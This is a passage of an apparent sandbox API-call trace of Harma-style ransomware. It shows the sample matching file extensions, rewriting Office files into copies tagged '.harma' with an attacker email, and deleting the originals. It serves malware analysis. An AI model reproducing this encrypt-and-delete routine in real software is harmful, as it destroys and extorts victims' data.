(lpString1=".bz2", lpString2=".VSL") returned -1 [0162.360] lstrlenW (lpString=".7z") returned 3 [0162.360] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0162.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL") returned 60 [0162.360] lstrlenW (lpString=".dbf") returned 4 [0162.360] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0162.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL") returned 60 [0162.360] lstrlenW (lpString=".1cd") returned 4 [0162.360] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0162.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL") returned 60 [0162.360] lstrlenW (lpString=".jpg") returned 4 [0162.360] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0162.360] lstrcmpiW (lpString1=".dll", lpString2=".harma") returned -1 [0162.360] lstrlenW (lpString="UmOutlookStrings.dll") returned 20 [0162.360] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UmOutlookStrings.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\umoutlookstrings.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0162.361] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=61312) returned 1 [0162.361] CloseHandle (hObject=0x39c) returned 1 [0162.361] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UmOutlookStrings.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\umoutlookstrings.dll")) returned 0x20 [0162.361] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UmOutlookStrings.dll.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\umoutlookstrings.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0162.362] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UmOutlookStrings.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\umoutlookstrings.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0162.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UmOutlookStrings.dll") returned 68 [0162.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UmOutlookStrings.dll") returned 68 [0162.363] lstrlenW (lpString=".doc") returned 4 [0162.363] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0162.363] lstrlenW (lpString=".docx") returned 5 [0162.363] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0162.363] lstrlenW (lpString=".pdf") returned 4 [0162.363] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0162.363] lstrlenW (lpString=".xls") returned 4 [0162.363] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0162.363] lstrlenW (lpString=".xlsx") returned 5 [0162.363] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0162.363] lstrlenW (lpString=".ppt") returned 4 [0162.363] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0162.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UmOutlookStrings.dll") returned 68 [0162.363] lstrlenW (lpString=".zip") returned 4 [0162.363] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0162.363] lstrlenW (lpString=".rar") returned 4 [0162.363] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0162.363] lstrlenW (lpString=".bz2") returned 4 [0162.363] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0162.364] lstrlenW (lpString=".7z") returned 3 [0162.364] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0162.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UmOutlookStrings.dll") returned 68 [0162.364] lstrlenW (lpString=".dbf") returned 4 [0162.364] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0162.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UmOutlookStrings.dll") returned 68 [0162.364] lstrlenW (lpString=".1cd") returned 4 [0162.364] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0162.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UmOutlookStrings.dll") returned 68 [0162.364] lstrlenW (lpString=".jpg") returned 4 [0162.364] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0162.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UmOutlookStrings.dll") returned 68 [0162.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UmOutlookStrings.dll") returned 68 [0162.364] lstrlenW (lpString=".doc") returned 4 [0162.364] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0162.364] lstrlenW (lpString=".docx") returned 5 [0162.364] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0162.364] lstrlenW (lpString=".pdf") returned 4 [0162.364] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0162.364] lstrlenW (lpString=".xls") returned 4 [0162.364] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0162.364] lstrlenW (lpString=".xlsx") returned 5 [0162.364] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0162.365] lstrlenW (lpString=".ppt") returned 4 [0162.365] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0162.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UmOutlookStrings.dll") returned 68 [0162.365] lstrlenW (lpString=".zip") returned 4 [0162.365] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0162.365] lstrlenW (lpString=".rar") returned 4 [0162.365] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0162.365] lstrlenW (lpString=".bz2") returned 4 [0162.365] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0162.365] lstrlenW (lpString=".7z") returned 3 [0162.365] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0162.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UmOutlookStrings.dll") returned 68 [0162.365] lstrlenW (lpString=".dbf") returned 4 [0162.365] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0162.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UmOutlookStrings.dll") returned 68 [0162.365] lstrlenW (lpString=".1cd") returned 4 [0162.365] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0162.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UmOutlookStrings.dll") returned 68 [0162.365] lstrlenW (lpString=".jpg") returned 4 [0162.365] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0162.366] lstrcmpiW (lpString1=".VRD", lpString2=".harma") returned 1 [0162.366] lstrlenW (lpString="VALVE.VRD") returned 9 [0162.366] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\valve.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0162.389] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=1868) returned 1 [0162.389] CloseHandle (hObject=0x3a4) returned 1 [0162.389] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\valve.vrd")) returned 0x20 [0162.470] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\valve.vrd.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0162.471] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\valve.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0162.475] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0162.475] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0162.475] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\valve.vrd.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0162.505] GetLastError () returned 0x0 [0162.505] ReadFile (in: hFile=0x394, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x74c, lpOverlapped=0x0) returned 1 [0162.559] WriteFile (in: hFile=0x330, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0x750, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0x750, lpOverlapped=0x0) returned 1 [0162.560] ReadFile (in: hFile=0x394, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x0, lpOverlapped=0x0) returned 1 [0162.561] WriteFile (in: hFile=0x330, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0162.561] SetEndOfFile (hFile=0x330) returned 1 [0162.561] CloseHandle (hObject=0x330) returned 1 [0162.561] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0162.562] SetEndOfFile (hFile=0x394) returned 1 [0162.565] CloseHandle (hObject=0x394) returned 1 [0162.565] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0162.566] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\valve.vrd")) returned 1 [0162.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD") returned 57 [0162.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD") returned 57 [0162.567] lstrlenW (lpString=".doc") returned 4 [0162.567] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0162.567] lstrlenW (lpString=".docx") returned 5 [0162.567] lstrcmpiW (lpString1=".docx", lpString2="E.VRD") returned -1 [0162.567] lstrlenW (lpString=".pdf") returned 4 [0162.567] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0162.567] lstrlenW (lpString=".xls") returned 4 [0162.567] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0162.567] lstrlenW (lpString=".xlsx") returned 5 [0162.567] lstrcmpiW (lpString1=".xlsx", lpString2="E.VRD") returned -1 [0162.567] lstrlenW (lpString=".ppt") returned 4 [0162.567] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0162.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD") returned 57 [0162.567] lstrlenW (lpString=".zip") returned 4 [0162.567] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0162.567] lstrlenW (lpString=".rar") returned 4 [0162.568] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0162.568] lstrlenW (lpString=".bz2") returned 4 [0162.568] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0162.568] lstrlenW (lpString=".7z") returned 3 [0162.568] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0162.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD") returned 57 [0162.568] lstrlenW (lpString=".dbf") returned 4 [0162.568] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0162.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD") returned 57 [0162.568] lstrlenW (lpString=".1cd") returned 4 [0162.568] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0162.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD") returned 57 [0162.568] lstrlenW (lpString=".jpg") returned 4 [0162.568] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0162.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD") returned 57 [0162.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD") returned 57 [0162.568] lstrlenW (lpString=".doc") returned 4 [0162.568] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0162.569] lstrlenW (lpString=".docx") returned 5 [0162.569] lstrcmpiW (lpString1=".docx", lpString2="E.VRD") returned -1 [0162.569] lstrlenW (lpString=".pdf") returned 4 [0162.569] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0162.569] lstrlenW (lpString=".xls") returned 4 [0162.569] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0162.569] lstrlenW (lpString=".xlsx") returned 5 [0162.569] lstrcmpiW (lpString1=".xlsx", lpString2="E.VRD") returned -1 [0162.569] lstrlenW (lpString=".ppt") returned 4 [0162.569] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0162.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD") returned 57 [0162.569] lstrlenW (lpString=".zip") returned 4 [0162.569] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0162.569] lstrlenW (lpString=".rar") returned 4 [0162.569] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0162.569] lstrlenW (lpString=".bz2") returned 4 [0162.569] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0162.569] lstrlenW (lpString=".7z") returned 3 [0162.569] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0162.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD") returned 57 [0162.569] lstrlenW (lpString=".dbf") returned 4 [0162.569] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0162.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD") returned 57 [0162.569] lstrlenW (lpString=".1cd") returned 4 [0162.569] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0162.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD") returned 57 [0162.570] lstrlenW (lpString=".jpg") returned 4 [0162.570] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0162.570] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".harma") returned 1 [0162.570] lstrlenW (lpString="VISINTL.DLL.IDX_DLL") returned 19 [0162.570] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visintl.dll.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0162.600] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=240000) returned 1 [0162.600] CloseHandle (hObject=0x338) returned 1 [0162.600] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visintl.dll.idx_dll")) returned 0x20 [0162.600] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visintl.dll.idx_dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0162.601] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visintl.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0162.601] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0162.601] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0162.602] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visintl.dll.idx_dll.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0162.602] GetLastError () returned 0x0 [0162.602] ReadFile (in: hFile=0x338, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x3a980, lpOverlapped=0x0) returned 1 [0162.617] WriteFile (in: hFile=0x394, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0x3a990, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0x3a990, lpOverlapped=0x0) returned 1 [0162.624] ReadFile (in: hFile=0x338, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x0, lpOverlapped=0x0) returned 1 [0162.624] WriteFile (in: hFile=0x394, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0xfa, lpOverlapped=0x0) returned 1 [0162.624] SetEndOfFile (hFile=0x394) returned 1 [0162.624] CloseHandle (hObject=0x394) returned 1 [0162.725] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0162.725] SetEndOfFile (hFile=0x338) returned 1 [0162.878] CloseHandle (hObject=0x338) returned 1 [0162.878] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0162.899] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visintl.dll.idx_dll")) returned 1 [0162.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL") returned 67 [0162.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL") returned 67 [0162.904] lstrlenW (lpString=".doc") returned 4 [0162.904] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0162.904] lstrlenW (lpString=".docx") returned 5 [0162.904] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0162.904] lstrlenW (lpString=".pdf") returned 4 [0162.904] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0162.905] lstrlenW (lpString=".xls") returned 4 [0162.905] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0162.905] lstrlenW (lpString=".xlsx") returned 5 [0162.905] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0162.905] lstrlenW (lpString=".ppt") returned 4 [0162.905] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0162.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL") returned 67 [0162.905] lstrlenW (lpString=".zip") returned 4 [0162.905] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0162.905] lstrlenW (lpString=".rar") returned 4 [0162.905] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0162.905] lstrlenW (lpString=".bz2") returned 4 [0162.905] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0162.905] lstrlenW (lpString=".7z") returned 3 [0162.906] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0162.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL") returned 67 [0162.906] lstrlenW (lpString=".dbf") returned 4 [0162.906] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0162.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL") returned 67 [0162.906] lstrlenW (lpString=".1cd") returned 4 [0162.906] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0162.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL") returned 67 [0162.906] lstrlenW (lpString=".jpg") returned 4 [0162.906] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0162.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL") returned 67 [0162.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL") returned 67 [0162.906] lstrlenW (lpString=".doc") returned 4 [0162.906] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0162.906] lstrlenW (lpString=".docx") returned 5 [0162.906] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0162.906] lstrlenW (lpString=".pdf") returned 4 [0162.906] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0162.906] lstrlenW (lpString=".xls") returned 4 [0162.906] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0162.906] lstrlenW (lpString=".xlsx") returned 5 [0162.907] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0162.907] lstrlenW (lpString=".ppt") returned 4 [0162.907] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0162.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL") returned 67 [0162.907] lstrlenW (lpString=".zip") returned 4 [0162.907] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0162.907] lstrlenW (lpString=".rar") returned 4 [0162.907] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0162.907] lstrlenW (lpString=".bz2") returned 4 [0162.907] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0162.907] lstrlenW (lpString=".7z") returned 3 [0162.907] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0162.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL") returned 67 [0162.907] lstrlenW (lpString=".dbf") returned 4 [0162.907] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0162.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL") returned 67 [0162.907] lstrlenW (lpString=".1cd") returned 4 [0162.907] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0162.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL") returned 67 [0162.907] lstrlenW (lpString=".jpg") returned 4 [0162.907] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0162.908] lstrcmpiW (lpString1=".HXT", lpString2=".harma") returned 1 [0162.908] lstrlenW (lpString="VISIO.DEV_COL.HXT") returned 17 [0162.908] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0162.909] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=209) returned 1 [0162.909] CloseHandle (hObject=0x364) returned 1 [0162.909] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_col.hxt")) returned 0x20 [0162.909] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_col.hxt.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0162.909] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0162.910] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0162.910] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0162.910] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_col.hxt.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0162.911] GetLastError () returned 0x0 [0162.911] ReadFile (in: hFile=0x364, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0xd1, lpOverlapped=0x0) returned 1 [0162.913] WriteFile (in: hFile=0x394, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0162.914] ReadFile (in: hFile=0x364, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, 